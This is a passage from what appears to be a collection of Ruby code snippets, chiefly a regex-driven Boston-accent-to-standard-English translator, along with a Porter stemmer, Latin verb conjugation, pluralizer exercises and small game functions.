WordPlay.switch_pronouns('yes, you rule'))\n assert_equal('Am I stupid?', WordPlay.switch_pronouns('are u stupid?'))\n assert_equal('why do i cry?', WordPlay.switch_pronouns('why do you cry?'))\n end", "def phase_three\n puts \"Phase 3 has been started\"\n\n 7.times do\n immune = @borneo.individual_immunity_challenge\n puts \"#{immune} wins the immunity\".blue\n\t\tvoted_off_contestant = @merge_tribe.tribal_council(immune: immune)\n\t\t@jury.add_member voted_off_contestant\n\t\tputs \"#{voted_off_contestant}! is OUT!\".red\n end\nend", "def translator\n # Greet your user in the language of their people.\n puts [\"SUP KID? \",\n \t \"What didja say? \",\n \t \"How ya doan? \",\n \t \"How ahrya?\",\n \t \"How 'bout them Sox? \",\n \t \"How 'bout them Pats? \"].sample\n\n # Get their response and lop off the carriage return, Massachusetts Left style.\n phrase = gets.chomp.to_s\n\n # Now we're going to award the user points based on density of Boston-specific\n # diction, aka their Beantown Points(tm).\n i = 0\n beantown_points = 0\n wicked_boston_words = [\"bubblah\",\n \"wicked\",\n \"reveah\",\n \"the dot\",\n \"medfid\",\n \"broons\",\n \"barrel\",\n \"digga\",\n \"southie\",\n \"eastie\",\n \"rotary\",\n \"pissah\",\n \"jp\",\n \"fried\",\n \"directional\",\n \"beantown\",\n \"red sox\",\n \"common\",\n \"dunkin donuts\",\n \"patriots\",\n \"celtics\",\n \"green monster\",\n \"dirty watah\",\n \"packie\"\n ]\n\n searchable_phrase = phrase.downcase\n\n wicked_boston_words.each do |i|\n \tif searchable_phrase.include?(i)\n \t\tbeantown_points += 1\n \tend\n end\n\n ########################################################################################################\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\n ########################################################################################################\n\n # A\n phrase.gsub!(/\\bacross the rivah?\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\n phrase.gsub!(/\\b(a)dvahtisin'?g?\\b/i, '\\1dvertising') # advahtisin'(g)\n phrase.gsub!(/\\b(a)dvisah?\\b/i, '\\1dviser') # advisah\n phrase.gsub!(/\\b(a)doah\\b/i, '\\1dore') # adoah\n phrase.gsub!(/(a)ftah/i, '\\1fter') # aftah (aftahwahds, raftah, & other containing words)\n phrase.gsub!(/\\bah(h)?(?=\\s[a-z]+in('|g))?\\b/i, 'are') # ah (usually \"are\" if a word ending in \"ing is after\")\n phrase.gsub!(/\\b(the)? Ahbs\\b/i, '\\1 Arboretum') # the ahbs is a fun place to hang out\n phrase.gsub!(/\\b(a)hm\\b/i, '\\1rm') # curt schilling's gotta good ahm\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\1arm\\2') # ahm at the end of words\n phrase.gsub!(/\\bahr\\b/i, 'are') # ahr\n phrase.gsub!(/\\bahrya\\b/i, 'are you') # how ahrya?!\n phrase.gsub!(/\\b(a)hnt\\b/i, '\\1unt') # ya ahnt is comin' to Christmas\n phrase.gsub!(/\\ball set\\b/i, 'all done') # all set with my dinnah, thank you\n phrase.gsub!(/\\bAllston Christmas\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\n phrase.gsub!(/\\b(a)mbassad(oah|ah)(s)/i, '\\1ambassad\\2\\3') # ambassadoah/dah\n\n # B\n phrase.gsub!(/\\b(b)ah\\b/i, '\\1ar') # bah (let's get a beeah at the bah)\n phrase.gsub!(/\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\b/i, '\\1bar\\2') # \"bah\" (words ending in bah)\n phrase.gsub!(/\\bbahnie\\b/i, 'smart geek') # bahnie\n phrase.gsub!(/\\bbang a left\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\n phrase.gsub!(/\\b(b)ankin/i, 'hillside') # watch the game from the bankin\n phrase.gsub!(/\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\n phrase.gsub!(/\\bbazo\\b/i, 'drunk') # bazo on the weekendddd\n phrase.gsub!(/\\bbeantown\\b/i, 'Boston') # beantown\n phrase.gsub!(/\\b(b)eeah(s)?\\b/i, '\\1eer') # lemme buy ya a beeah (sam adams please)\n phrase.gsub!(/\\b(b)ettah\\b/i, '\\1etter') # bettah (than you)\n phrase.gsub!(/\\bbig(-|\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\n phrase.gsub!(/\\bBig Dig\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\n phrase.gsub!(/\\bb(ill-)?ricka/i, 'Billerica') # Billerica\n phrase.gsub!(/\\bboahded\\b/i, 'dibs') # boahded\n phrase.gsub!(/\\bbobos\\b/i, 'boat shoes') # bobos\n phrase.gsub!(/\\bBostonian\\b/i, 'resident of Boston') # Bostonian\n phrase.gsub!(/\\bbook(ed|in)? outta theah\\b/i, 'took off') # bookin' it\n phrase.gsub!(/\\b(b)r(a|u)h\\b/i, '\\1ro') # brah/bruh\n phrase.gsub!(/\\bbrahmin\\b/i, 'WASP-y type') # Brahmin\n phrase.gsub!(/\\bbreakdown lane\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\n phrase.gsub!(/\\bBroons\\b/i, 'Bruins') # Da Broons!\n phrase.gsub!(/\\bbubblah\\b/i, 'water fountain') # bubblah\n\n # C\n phrase.gsub!(/\\b(c)ahds\\b/i, '\\1ards') # cahds\n phrase.gsub!(/\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\b/i, '\\1ar\\2') # cah(s) and 6 containing words that are most common.\n phrase.gsub!(/\\b(c)alendah(s)?\\b/i, '\\1alendar\\2') # calendah (the sawx got theyah openin' day on theah!)\n phrase.gsub!(/\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\n phrase.gsub!(/\\b(c)an't get\\b/i, '\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\n phrase.gsub!(/\\bThe Cape\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\n phrase.gsub!(/\\bcarriage\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\n phrase.gsub!(/\\b(c)awna\\b/i, '\\1orner') # coolidge cawna\n phrase.gsub!(/\\b(c)ella(h)\\b?/i, 'basement') # go down cella\n phrase.gsub!(/\\b(c)howdah\\b/i, '\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\n phrase.gsub!(/\\b(coffee|small|medium|lahge) regulah\\b/i, 'coffee with cream and two sugars') # coffee, regulah\n phrase.gsub!(/\\bCochihchewit\\b/i, 'Cochituate') # Co-CHIH-chew-it\n phrase.gsub!(/\\b(c)onsidah\\b/i, '\\1onsider') # considah\n phrase.gsub!(/\\b(c)orridoah(s)\\b/i, '\\1orridor\\2') # corridor\n phrase.gsub!(/\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\n\n # D\n phrase.gsub!(/\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\n phrase.gsub!(/\\b(d)ecoah\\b/i, '\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \"cor\"\n phrase.gsub!(/\\bdecked\\b/i, 'punched') # he got decked at the sox game\n phrase.gsub!(/\\bdecked\\sout\\b/i, 'dressed up') # he's all decked out for his date!\n phrase.gsub!(/\\b(d)idja\\b/i, '\\1id you') # didja\n phrase.gsub!(/\\bdirty watah\\b/i, 'the Charles River') # love that dirty watah\n phrase.gsub!(/\\bdiggah?\\b/i, 'fall') # fell on some ice and took a diggah\n phrase.gsub!(/\\b(d|fl|ind|p|outd)oah\\b/i, '\\1oor') # oah words ending in oor\n phrase.gsub!(/\\b(direc|doc)tah\\b/i, '\\1tor') # doctah/directah\n phrase.gsub!(/\\bdirectional\\b/i, 'turn signal') # put on ya directional before you take turn\n phrase.gsub!(/\\bDot Ave\\b/i, 'Dorchester Avenue') # Dot Ave\n phrase.gsub!(/\\bDot Rat(s)?/i, 'resident\\1 of Dorchester') # Dot Rats\n phrase.gsub!(/\\bthe Dot\\b/i, 'Dorchester') # the dot\n phrase.gsub!(/\\bdunki(n'?s'?|n|es)(\\sdonuts)?\\b/i, 'Dunkin\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\n phrase.gsub!(/\\bdrawring\\b/i, 'drawing') # drawring\n\n # E\n phrase.gsub!(/\\bEastie\\b/i, 'East Boston') # Eastie\n phrase.gsub!(/\\belastic(s)?\\b/i, 'rubber band\\1') # elastics\n phrase.gsub!(/(e)ntah\\b/i, '\\1nter') # entah (come in heah!)\n phrase.gsub!(/\\b(e)ntiah\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\n phrase.gsub!(/(n)?(e)vah\\b/i, '\\1\\2ver') # evah (or forevahevah! or nevah. that too.)\n\n # F\n phrase.gsub!(/\\bfahr\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\n phrase.gsub!(/\\bfactah\\b/i, 'factor') # factah\n phrase.gsub!(/\\b(af|insof|ovahf|f)ah\\b/i, '\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\n phrase.gsub!(/(f)ahkin'?/i, '\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/(f)ahk?/i, '\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\b/i, '\\1are') # fayah (wahfayah, aihfayah)\n phrase.gsub!(/\\bfawr\\b/i, 'for') # fawr\n phrase.gsub!(/(af|bef|f)oah\\b/i, '\\1ore') # foah (fore & variants)\n phrase.gsub!(/\\bfoddy\\b/i, 'fourty') # foddy\n phrase.gsub!(/\\bfrappe\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\n phrase.gsub!(/\\b(frickin|friggin)'?(?!\\z|\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\n phrase.gsub!(/\\bfried\\b/i, 'weird') # fried\n phrase.gsub!(/\\bFudgicle\\b/i, 'Fudgsicle') # a fudgsicle that lost the \"s\"\n\n # G\n phrase.gsub!(/\\b(g)ahbidge\\b/i, '\\1arbage') # Wednesdiz is gahbidge day\n phrase.gsub!(/\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\n phrase.gsub!(/(g)awd\\b/i, '\\1od') # oh my gawd\n phrase.gsub!(/\\b(g)ovahment\\b/i, '\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\n phrase.gsub!(/\\b(ci|beg|vul|sug|vine)gah(s)?\\b/i, '\\1gar\\2') # gah --> sugah, cigah, etc.\n phrase.gsub!(/\\b(g)oah\\b/i, '\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\n phrase.gsub!(/\\bg(o|a)tta\\b/i, 'have to') # gotta\n phrase.gsub!(/\\b(g)rammah\\b/i, '\\1rammar') # grammah\n phrase.gsub!(/\\bgrindah?(s)?\\b/i, 'sub\\1') # grindahs\n phrase.gsub!(/\\b(g)uitah\\b/i, '\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\n\n # H\n phrase.gsub!(/\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\n phrase.gsub!(/\\b(hang|hook) a right\\b/i, 'take a right') # hang/hook a right\n phrase.gsub!(/\\bhamburg\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\n phrase.gsub!(/\\b(heahd|heid)\\b/i, 'heard') # ya nevah heahd about that?\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing \"here\"\n #hahbah (no taxation without representation, ya dig?) covered under \"lahbah\"\n phrase.gsub!(/\\bHub\\b/i, 'Boston') # the Hub\n\n # I\n phrase.gsub!(/\\b(i)dear\\b/i, '\\1dea') # idear (so THAT'S where all those \"r\"'s went!')\n phrase.gsub!(/\\b(i)ntahfeah\\b/i, '\\1nterfere') # doan wanna intahfeah, ya know?\n\n # J\n phrase.gsub!(/\\b(a)?(j)ah\\b/i, '\\1\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\n phrase.gsub!(/\\bjimmies\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\n phrase.gsub!(/\\bJP\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\n\n # K\n phrase.gsub!(/\\b(k)eggah?(s)\\b/i, '\\1eg party\\2') # kegga, aka something you throw at ya new apahtment in college\n phrase.gsub!(/\\b(k)inda\\b/i, '\\1ind of') #\n\n # L\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\b/i, '\\1lor') # lah (words ending in lah are usually \"ler\", so this looks for the most common ones that should actually be \"lor\" first)\n phrase.gsub!(/([a-z])+ahbah\\b/i, '\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \"laber\"\n phrase.gsub!(/\\b(l)abradoah(s)\\b/i, '\\1abrador\\2') # labradoah retrievah\n phrase.gsub!(/\\bLe(ay|i)?stuh\\b/i, 'Leicester') # Leicester\n phrase.gsub!(/\\bLem(o|i)nstah\\b/i, 'Leominster') # Leominster\n phrase.gsub!(/\\bLight Dawns ovah? Mahblehead\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\n phrase.gsub!(/\\b(l)iquah\\b/i, '\\1iquor') # liquah stoah...aka a packie, tbh\n phrase.gsub!(/\\blotta\\b/i, 'lot of') # lotta\n\n # M\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \"mer\")\n phrase.gsub!(/\\b(m)ajah\\b/i, '\\1ajor') # majah league baseball\n phrase.gsub!(/\\bmasshole\\b/i, 'a proud jerk from Massachusetts') # massholes :)\n phrase.gsub!(/\\b(m)ayah\\b/i, '\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\n phrase.gsub!(/\\b(Mehfuh|Meffid|Medfid)\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\n phrase.gsub(/ministah\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\n\n # N\n phrase.gsub!(/\\b(nawht|naht)\\b/, 'not') # naht/nawt\n phrase.gsub!(/\\bnooyawka\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\n phrase.gsub!(/(semi|so|lu)nah\\b/i, '\\1nar') # \"nah\" ending words that aren't \"ner\"...seminah, solah\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\n phrase.gsub!(/\\bneighbahood\\b/i, 'neighborhood') # neighbahood\n\n # O\n phrase.gsub!(/\\b(o)ah\\b/, '\\1ur') # oah (this is ah (our) city!)\n phrase.gsub!(/(o)ffah/i, '\\1ffer') # offah\n phrase.gsub!(/onna(-|\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\n phrase.gsub!(/\\bopen ai(r|h)\\b/i, 'drive in movie') # open air (drive in movie theatre)\n phrase.gsub!(/(o)thah/i, '\\1ther') # othah (and also containing words like anothah or brothah)\n phrase.gsub!(/(o)vah/i, '\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\n phrase.gsub!(/(o)wah\\b/i, '\\1wer') # owah (all words ending in \"ower\", powah, flowah, etc)\n\n # P\n phrase.gsub!(/\\bpackie\\b/i, 'liquor store') # packie\n phrase.gsub!(/\\bpeab('dee|dee|ody)\\b/i, 'Peabody') # Peabody\n phrase.gsub!(/\\b(p)lenny\\b/i, '\\1lenty') # plenny ah beahs in the fridge\n phrase.gsub!(/\\bpissah?\\b/i, 'cool') # wicked pissah\n phrase.gsub!(/\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\n\n # Q\n phrase.gsub!(/\\bquality\\b/i, 'worthless') # sarcasm at its finest\n phrase.gsub!(/\\bQuinzee\\b/i, 'Quincy') # Quincy\n\n # R\n phrase.gsub!(/\\b(r)adah?\\b/i, '\\1adar') # radah (cops runnin the radah around to cawnah)\n phrase.gsub!(/\\brahya\\b/i, 'rare') # rahya (wicked rahya steak)\n phrase.gsub!(/\\b(r)apshah?\\b/i, '\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\n phrase.gsub!(/\\b(r)awregg\\b/i, '\\1aw egg') # rawregg can give ya salmonella\n phrase.gsub!(/\\b(r)eahview\\b/i, '\\1earview') # reahview (mirror)\n phrase.gsub!(/\\b(r)emembah\\b/i, '\\1emember') # remembah (when govahment centah was open?)\n phrase.gsub!(/\\breveah\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\n phrase.gsub!(/\\brotary\\b/i, 'traffic circle') # second left on tha rotary\n\n # S\n phrase.gsub!(/\\bsangwich\\b/i, 'sandwich') # sangwich\n phrase.gsub!(/\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\b/i, 'Saturday') # Satahday\n phrase.gsub!(/\\bsat(a|i)hdiz\\b/i, 'Saturdays') # Satahdays\n phrase.gsub!(/\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\n phrase.gsub!(/soah\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\n phrase.gsub!(/\\b(s)o do(an|n'?t) i\\b/i, '\\1o do I') # So do(a)n't I!\n phrase.gsub!(/\\bsouthie\\b/i, 'South Boston') # Southie\n phrase.gsub!(/\\bspa\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\n phrase.gsub!(/\\b(co|lode|mega|supah|)?stah\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\n phrase.gsub!(/\\bsuppah?\\b/i, 'dinner') # suppah\n phrase.gsub!(/\\bsweet caroline\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\n\n # T\n phrase.gsub!(/\\bthe T\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \"unusable death trap\"\n # \"theah\" is covered under \"h\" in the heah substitution\n phrase.gsub!(/\\btah\\b/i, 'to') # tah (ready tah go!)\n phrase.gsub!(/\\btawnic\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\n phrase.gsub!(/\\btempasha(h)?\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\n phrase.gsub!(/\\b(t)ha\\b/i, '\\1he') # tha\n phrase.gsub!(/thah?\\b/i, 'ther') # brothah, fathah, mothah, etc. (matches on 92 english words ending in \"ther\")\n phrase.gsub!(/\\bthi(h)?d\\b/i, 'third') # stealin' thihd\n phrase.gsub!(/\\bthree deckah?\\b/i, 'three story house') # usually three units\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\1ture') # sha sound on end of certain \"ture\" ending words\n\n # U\n phrase.gsub!(/(u)ndah/i, '\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\n phrase.gsub!(/\\b(u)ey\\b/i, '\\1-turn') # U-turn\n\n # V\n phrase.gsub!(/\\b(v)endah(s)\\b/i, '\\1endor') # vendah(s) (fenway franks, anybody?)\n phrase.gsub!(/\\bvin(yihd|yahd)\\b/i, 'Martha\\'s Vineyard') # mahtha's vinyihd\n phrase.gsub!(/\\b(fahv|fehv|flav|sav|surviv)ah\\b/i, '\\1or') # \"vah\" words that are \"vor\"\n\n # W\n phrase.gsub!(/\\b(w)atah\\b/i, '\\1ater') # watah (as in \"love that dirty\")\n phrase.gsub!(/\\bwah\\b/i, 'war') # wah\n phrase.gsub!(/\\bWal(ltham|thumb)\\b/i, 'Waltham') # home of Brandeis\n phrase.gsub!(/\\bwanna go\\?\\b/i, 'let\\'s fight outside') # wanna go?\n phrase.gsub!(/\\b(w)e(eahd|eid|ahd|eihd)\\b/i, '\\1eird') # weeid\n # wheah is covered under \"t\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\n phrase.gsub!(/\\bwhole nothah?\\b/i, 'a complete replacement') # I gotta whole notha cah\n phrase.gsub!(/\\bweah\\b/i, 'were') # wheah weah ya?\n phrase.gsub!(/\\b(w)eathah\\b/i, '\\1eather') # wetheah (some weah havin!)\n phrase.gsub!(/\\bwicked\\b/i, 'really') # wicked (wicked weeid kid)\n phrase.gsub!(/\\bwuhst(u|a)h\\b/i, 'Worcester') # Worcester\n\n # X\n\n # Y\n phrase.gsub!(/\\b(y)a\\b/i, '\\1ou') # ya goin to the game?\n phrase.gsub!(/\\b(y)ar(?=\\s?i)/i, '\\1eah ') # yarit's awesome -> yeah it's awesome\n phrase.gsub!(/\\b(y)oah\\b/i, '\\1our') # yoah\n\n # Z\n\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\n # This will help translate commonly used words and broadly applicable use-cases. They are\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\n # uncommon/edge cases, you should get good results.\n\n phrase.gsub!(/atah(s)?\\b/i, 'ator\\1') # \"atah\" (words ending in \"ator\"...decoratah, delegatah)\n phrase.gsub!(/(a)wl(l)?/i, '\\1l\\2') # \"awl\" (going to the mawll, fawllin' down, cawll ya mothah etc)\n phrase.gsub!(/bah(s)?\\b/i, 'ber\\1') # \"bah\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\n phrase.gsub!(/cah(s)?\\b/i, 'cer\\1') # \"cah\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\n phrase.gsub!(/dah(s)?\\b/i, 'der\\1') # \"dah\" (words ending in dah...chowdah?).\n phrase.gsub!(/eah(s)?\\b/i, 'ear\\1') # \"eah\" (words ending in eah...yeah, cleah)\n phrase.gsub!(/fah(s)?\\b/i, 'fer\\1') # \"fah\" (words ending in fer...offah?).\n phrase.gsub!(/gah(s)?\\b/i, 'ger\\1') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/ha(h)?(s)?\\b/i, 'her\\2') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/iah(d)?/i, 'ire\\1') # \"iahd\" (words ending in ire...tiahd, wiahd or ired...fiahd)\n phrase.gsub!(/in'(?=\\z|\\s)/i, 'ing') # \"in'\" (words ending in ing...bring back the g!).\n phrase.gsub!(/kah(s)?\\b/i, 'ker\\1') # \"kah\" (words ending in ker...smokah)\n phrase.gsub!(/lah(s)?\\b/i, 'lar\\1') # \"lah\" (words ending in lar...molah, pillah)\n phrase.gsub!(/mah(s)?\\b/i, 'mer\\1') # \"mah\" (words ending in mer...swimmah, homah)\n phrase.gsub!(/nah(s)?\\b/i, 'ner\\1') # \"nah\" (words ending in ner...gonah, runnah)\n phrase.gsub!(/layah(s)?\\b/i, 'lare\\1') # \"layah\" (words ending in lare..flayah, declayah)\n phrase.gsub!(/(o)ah(s)?/i, '\\1re\\2') # \"oah\" (stoah, moah)\n phrase.gsub!(/pah(s)?\\b/i, 'per\\1') # \"pah\" (words ending in \"pah\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\n phrase.gsub!(/sah(s)?\\b/i, 'ser\\1') # \"sah\" (words ending in ser...think about ya usah in the browsah)\n phrase.gsub!(/tah(s)?\\b/i, 'ter\\1') # \"tah\" (words ending in ter...watah)\n phrase.gsub!(/uahd(s)?\\b/i, 'ured\\1') # \"uahd\" (words ending in ured...figuahd, injuahd)\n phrase.gsub!(/vah(s)?\\b/i, 'ver\\1') # \"vah\" (words ending in ver...ovah, rivah)\n phrase.gsub!(/wah(s)?\\b/i, 'wer\\1') # \"wah\" (words ending in wer...lawnmowah, towah)\n phrase.gsub!(/xah(s)?\\b/i, 'xer\\1') # \"xah\" (words ending in xer...boxah, mixah)\n phrase.gsub!(/yah(s)?\\b/i, 'yer\\1') # \"yah\" (words ending in yer...foyah, lawyah)\n phrase.gsub!(/zah(s)?\\b/i, 'zer\\1') # \"zah\" (words ending in zer...organizah, seltzah)\n\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\n phrase.gsub!(/ah(?!\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\n\n\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\n\n phrase.gsub!(/\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\n phrase.gsub!(/\\bYankees\\b/i, 'Yankees (suck!)') # Yankees suck okay?\n phrase.gsub!(/\\bJohnny Damon\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\n\n puts \"They said: \" + phrase\n\n # Special \"How Boston Are YOU?\" Beantown Points score for experts! Only shows up for users who earn at least two points.\n\n if beantown_points >= 15\n \tputs \"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\"\n elsif beantown_points < 15 && beantown_points >= 10\n \tputs \"How Boston Are YOU?: Solid work! You probably yell \\\"Yankees Suck\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\"\n elsif beantown_points < 10 && beantown_points >= 5\n \tputs \"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\"\n elsif beantown_points >=2 && beantown_points < 5\n \tputs \"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\"\n end\n\n play_again\n\nend", "def reverberate(sent)\n new_arr = []\n words_arr = sent.split(\" \")\n vowels = \"aeiouAEIOU\"\n words_arr.each do |word|\n capt = false\n if word.capitalize == word\n capt = true\n end\n if word.length < 3\n new_arr << capt ? word.capitalize : word #new_arr << capt ? word.capitalize : word\n elsif vowels.include?(word[-1])\n new_arr << (capt ? (word * 2).capitalize : word * 2)\n elsif !vowels.include?(word[-1])\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\n i = word.length - 1 - rev_index\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\n end\n end\n new_arr.join(\" \")\nend", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def stem_porter\n\n # make a copy of the given object and convert it to a string.\n w = self.dup.to_str\n \n return w if w.length < 3\n \n # now map initial y to Y so that the patterns never treat it as vowel\n w[0] = 'Y' if w[0] == ?y\n \n # Step 1a\n if w =~ /(ss|i)es$/\n w = $` + $1\n elsif w =~ /([^s])s$/ \n w = $` + $1\n end\n\n # Step 1b\n if w =~ /eed$/\n w.chop! if $` =~ MGR0 \n elsif w =~ /(ed|ing)$/\n stem = $`\n if stem =~ VOWEL_IN_STEM \n w = stem\n\tcase w\n when /(at|bl|iz)$/ then w << \"e\"\n when /([^aeiouylsz])\\1$/ then w.chop!\n when /^#{CC}#{V}[^aeiouwxy]$/o then w << \"e\"\n end\n end\n end\n\n if w =~ /y$/ \n stem = $`\n w = stem + \"i\" if stem =~ VOWEL_IN_STEM \n end\n\n # Step 2\n if w =~ SUFFIX_1_REGEXP\n stem = $`\n suffix = $1\n # print \"stem= \" + stem + \"\\n\" + \"suffix=\" + suffix + \"\\n\"\n if stem =~ MGR0\n w = stem + STEP_2_LIST[suffix]\n end\n end\n\n # Step 3\n if w =~ /(icate|ative|alize|iciti|ical|ful|ness)$/\n stem = $`\n suffix = $1\n if stem =~ MGR0\n w = stem + STEP_3_LIST[suffix]\n end\n end\n\n # Step 4\n if w =~ SUFFIX_2_REGEXP\n stem = $`\n if stem =~ MGR1\n w = stem\n end\n elsif w =~ /(s|t)(ion)$/\n stem = $` + $1\n if stem =~ MGR1\n w = stem\n end\n end\n\n # Step 5\n if w =~ /e$/ \n stem = $`\n if (stem =~ MGR1) ||\n (stem =~ MEQ1 && stem !~ /^#{CC}#{V}[^aeiouwxy]$/o)\n w = stem\n end\n end\n\n if w =~ /ll$/ && w =~ MGR1\n w.chop!\n end\n\n # and turn initial Y back to y\n w[0] = 'y' if w[0] == ?Y\n\n w\n end", "def ingverb; end", "def pluralizer(num,noun)\n p noun == \"sheep\" ? \"#{num} #{noun}\" : noun == \"geese\" ? \"#{num} #{noun}\" :\n num == 1 && noun == \"child\" ? \"#{num} #{noun}\" : noun == \"child\" ? \"#{num} #{noun}ren\" :\n noun == \"children\" ? \"#{num} child\" : num == 1 && noun == \"people\" ? \"#{num} person\" :\n num > 1 ? \"#{num} #{noun}s\" : nil\nend", "def pluarlizer(num, noun)\n if noun == \"sheep\"\n p \"#{num} Sheep\"\n elsif noun == \"species\"\n p \"#{num} Species\"\n elsif num == 1 && noun == \"children\"\n p \"#{num} Child\"\n elsif num >= 2 && noun == \"children\"\n p \"#{num} Children\"\n elsif num > 1 && noun == \"geese\"\n p \"#{num} Geese\"\n elsif num == 1 && noun == \"geese\"\n p \"#{num} Goose\"\n elsif num >= 2 && noun == \"geese\"\n p \"#{num} Geese\"\n elsif num == 1 && noun == \"people\"\n p \"#{num} Person\"\n elsif num >= 2 && noun == \"people\"\n p 